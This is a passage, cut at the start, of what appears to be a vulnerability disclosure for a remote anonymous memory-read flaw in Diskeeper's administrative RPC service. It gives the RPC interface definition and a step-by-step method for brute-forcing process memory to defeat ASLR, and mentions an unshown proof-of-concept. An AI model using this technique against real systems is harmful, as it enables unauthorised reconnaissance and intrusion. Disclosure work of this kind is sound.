defragmenter.  Felix, Jenna, and Isaac.

Vulnerability Description:
This vulnerability involves a memory comparison function that is 
remotely, anonymously accessible via the remote procedure call in 
the Diskeeper administrative interface.  Using this, an attacker 
can guess / brute force memory at any address in the process; 
although passing a bad pointer will cause a memory read exception 
and DoS the process.  Since causing a Denial of Service for 
Diskeeper is of minimal consequence, this write-up will focus on 
the memory reading aspect.

By making use of shared user memory at 0x7FFE0000, an attacker can 
learn information, such as Windows drive, path, and version.  More 
importantly for a targeted attack, an attacker can also get the 
name, path, version and base address of all loaded modules in the 
process.  This would essentially defeat address space randomization
(ASLR) in Windows Vista, since loaded modules tend to have the same 
preferred address in all processes for each boot of the system.

Details:
Diskeeper introduced their administrative interface in Diskeeper 9 
and continued it in Diskeeper 10 and Diskeeper 2007.  For the 
purpose of this vulnerability I tested in Diskeeper 9 Professional 
and Diskeeper 2007 Pro Premier.  (Though I believe from 
documentation that the Server Editions of each and both versions in 
Diskeeper 10 are equally vulnerable.)

The administrative interface, DkService.exe, runs as a system 
service that is by default configured to automatically start.  It 
listens on TCP port 31038 and has three RPC functions available.  
Calling the opcode 0x01 RPC function (MIDL below) allows a remote, 
anonymous memory comparison at an attacker provided address.  
Simply pass the size of the data, the data, and the address to make 
use of this.

MIDL
/* opcode: 0x01, address: 0x004922F0 (address from 2007 
ProPremier)*/

long  sub_4922F0 (
 [in] long arg_1,
 [in][size_is(arg_1)] char * arg_2,
 [in] hyper arg_3
);


Exploitation:
In order to exploit this, one must bind to the RPC interface, then 
initiate the RPC call as many times as desired.   If guessing an 
intelligent value, such as a widecharacter string L"WINDOWS", 
providing multiple bytes of data is optimal for speed's sake.  If 
attempting to brute force an address, doing so one byte at a time 
is preferable so you are guessing at most 4n times instead of n^4.

In my sample exploit, I am first getting general system information 
by looking at fixed locations in shared user data.  I get the 
Windows drive letter, the Windows directory, and the Windows OS 
version (5.1=XP; 6.0=Vista; etc.)  Then I brute force an address in 
NTDLL.DLL from the shared user data.  From this, I can jump 
backwards to the start of the module, looking for the MZ header.  
Knowing where the start of the module is, I can look for the .data 
header to find where the data section of NTDLL.DLL is loaded.

This is where things get a little tricky.  Since the loaded module 
hash table is at different places in the data section depending on 
the version of NTDLL.DLL, we have to search for it.  Basically each 
hash bucket that is empty contains a pointer to itself, so I made a 
mask to place over memory that defined which buckets could be empty 
vs. not, and defined that the last 6 had to be empty, because they 
correspond to modules that don't start with an alphabetic character 
in name.  (This part could be made more effective and faster, but 
for a PoC, it should work.)  Once it finds memory that fits the 
mask, I iterate the linked list at each of the 32 hash buckets and 
read the relevant loaded module information.

I just used a #define for the IP address string, so modify it for 
your target IP.
